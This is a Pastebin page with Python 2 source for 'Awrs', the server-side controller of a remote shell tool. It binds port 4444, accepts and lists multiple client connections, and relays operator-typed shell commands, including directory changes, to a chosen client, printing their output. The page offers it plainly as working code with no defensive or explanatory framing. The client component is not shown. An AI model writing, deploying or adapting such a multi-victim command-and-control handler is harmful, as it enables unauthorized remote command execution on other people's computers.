Advertisement
Guest User

Awrs - Server - Windows

a guest
Nov 3rd, 2014
780
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.63 KB | None | 0 0
  1. import os, sys
  2. from socket import *
  3.  
  4. host = "127.0.0.1"
  5. port = 4444
  6.  
  7. intro = """
  8. ____ ____ ____ ____
  9. ||A |||w |||r |||s ||
  10. ||__|||__|||__|||__||
  11. |/__\|/__\|/__\|/__\|
  12.  
  13. Coded by: dotcppfile
  14. Twitter: https://twitter.com/dotcppfile
  15. Blog: http://dotcppfile.worpdress.com"
  16. """
  17.  
  18. commands = """---------
  19. Commands:
  20. ---------
  21. accept        | Accept connections
  22. list          | List connections
  23. interact <id> | Interact with client
  24. stop          | Stop interacting with Client
  25. clear         | Clear the console
  26. quit          | Close all connections and quit
  27. credits       | Show Credits
  28. help          | Show this message
  29. \n"""
  30.  
  31. s=socket(AF_INET, SOCK_STREAM)
  32. s.settimeout(5) #this is needed in accept() later on
  33. s.bind((host,port))
  34. s.listen(10)
  35.  
  36. allConnections = []
  37. allAddresses = []
  38.  
  39. def getConnections():
  40.     for item in allConnections:
  41.         item.close() #close all old connections
  42.     #empty the lists
  43.     del allConnections[:]
  44.     del allAddresses[:]
  45.     #start all over
  46.     while 1:
  47.         try:
  48.             q,addr=s.accept() #will timeout after 5 seconds
  49.             q.setblocking(1) #needed later on in recv() / making an non-blocking socket object
  50.             allConnections.append(q)
  51.             allAddresses.append(addr)
  52.         except:
  53.             break
  54.  
  55. def main():
  56.     print intro, commands      
  57.     while 1:
  58.         command = raw_input("> ")
  59.         if (command == "accept"):
  60.             getConnections()
  61.             print "[INFO] Done Accepting\n"
  62.         elif(command == "list"):
  63.             print "--------\nClients:\n--------"
  64.             for item in allAddresses:
  65.                 print "%d - %s|%s" % (allAddresses.index(item) + 1, str(item[0]), str(item[1]))
  66.             print "\n"
  67.         elif("interact" in command):
  68.             chosenone = int(command.replace("interact ","")) - 1
  69.             if ((chosenone < len(allAddresses)) and (chosenone >= 0 )):
  70.                 print "[INFO] Interacting with %s" % str(allAddresses[chosenone])
  71.                 try:
  72.                     allConnections[chosenone].send("hellows123") #welcome message
  73.                     vtpath = allConnections[chosenone].recv(4096) + ">" #non blocking socket object / will timeout instantly if no data received
  74.                 except:
  75.                     print "[ERROR] Client closed the connection\n"
  76.                     break;
  77.                 while 1:
  78.                     data=raw_input(vtpath) #raw_input represents the client's sub process's current path
  79.                     if ((data != "stop") and ("cd " not in data) and ("upload " not in data)):
  80.                         try:
  81.                             allConnections[chosenone].send(data)
  82.                             msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
  83.                             print msg
  84.                         except:
  85.                             print "[ERROR] Client closed the connection\n"
  86.                             break;
  87.                     elif ("cd " in data): #dealing with the cd command
  88.                         try:
  89.                             allConnections[chosenone].send(data)
  90.                             msg=allConnections[chosenone].recv(4096) #non blocking socket object / will timeout instantly if no data received
  91.                             vtpath = msg + ">"
  92.                         except:
  93.                             print "[ERROR] Client closed the connection\n"
  94.                             break;
  95.                     else:
  96.                         print "\n"
  97.                         break
  98.             else:
  99.                 print "[ERROR] Client doesn't exist\n"
  100.         elif(command == "clear"):
  101.             if sys.platform == 'win32':
  102.                 os.system("cls")
  103.             else:
  104.                 os.system("clear")
  105.         elif(command == "quit"):
  106.             for item in allConnections:
  107.                 try:
  108.                     item.send("exit") #send a message that will close the client connection
  109.                     item.close() #close socket objects
  110.                 except:
  111.                     print "[ERROR] %s closed the connection already\n" % item
  112.             s.close()
  113.             break;
  114.         elif(command == "help"):
  115.             print commands
  116.         elif(command == "credits"):
  117.             print "--------\nCredits:\n--------\nCoded by: dotcppfile\nTwitter: https://twitter.com/dotcppfile\nBlog: http://dotcppfile.worpdress.com\n"
  118.         else:
  119.             print "[ERROR] Invalid Command\n"
  120.            
  121. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement